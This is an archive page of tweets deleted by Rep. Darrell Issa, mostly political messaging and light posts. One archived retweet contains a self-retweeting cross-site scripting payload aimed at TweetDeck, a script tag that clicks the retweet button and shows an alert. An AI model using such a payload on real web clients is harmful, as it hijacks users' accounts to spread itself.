Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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House Rep. Darrel Issa (R)

Darrell E. Issa (R) @TeamIssa

Labor unions take forced fees from 550,000 nonmembers http://t.co/0aR5pHOqu6

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Darrell Issa (R) @DarrellIssa

"Paranormal Pugtivity." An extra spooky #FridayPuppy - https://t.co/ybpWQc995E

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Darrell Issa (R) @DarrellIssa

Best of luck to the two San Diego-area teams in the #roundof32: @SDSU and @UCIrvine Who are you pulling for during #MarchMadness?

Darrell Issa (R) @DarrellIssa

RT @neilkli: @DarrellIssa My dad just back from Vietnam, he made his family and his country proud http://t.co/hHyQl82aCo

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Darrell Issa (R) @DarrellIssa

RT @a_planet_irl: .@DarrellIssa My late grandfather, who served in the European theater in WWII #AmericasVets http://t.co/1t3dzGxu5f

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Darrell Issa (R) @DarrellIssa

RT @neilkli: @DarrellIssa my bro in the 1st Recon Bn., keeping our troops in Afghanistan safe in 2010 http://t.co/feZfRGQ8mq

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Darrell Issa (R) @DarrellIssa

Non-profitNonprofit health insurer once hailed as model for #ACA now closing its doors due to #Obamcare costs http://t.co/nv4cacQRQM

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Darrell Issa (R) @DarrellIssa

I'll be on @NBCNightlyNews tonight discussing the latest in the Secret Service investigation. Check your local listings for program time.

Darrell Issa (R) @DarrellIssa

To paraphrase fmr President George W. Bush, America's light from shining. #NeverForget #911 http://t.co/S7ZSKwyvtH

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Darrell Issa (R) @DarrellIssa

RT @JayLow: RT @GOP When DOJ staffers think they're calling @OversightDems to spin the #IRS scandal..and get @DarrellIssa instead http://t.co/58nFTGtlki

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Darrell Issa (R) @DarrellIssa

It's #FridayPuppy and bacon. Happy happy weekend, folks! http://t.co/mgXqwEbN2F

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Darrell Issa (R) @DarrellIssa

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

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Darrell Issa (R) @DarrellIssa

RT @FoxNewsSunday: .@DarrellIssa on #IRS targeting: We want to know who else knew about it, who else coordinated it. #FNS

Darrell E. Issa (R) @TeamIssa

RT @LEETERRYNE: 5 years ago today pres. Obama used his pen to sign the failed stimulus bill. For 5 years has refused to sign #KeystoneXL #epicfail

Darrell Issa (R) @DarrellIssa

RT @Ri0t_Ri0t: @DarrellIssa that's cute. Who wouldn't enjoy a little comedy when they're being lied to

Darrell Issa (R) @DarrellIssa

ReTweet if you trust the President to lead on #Jobs. Favorite if you don't. #PJNet

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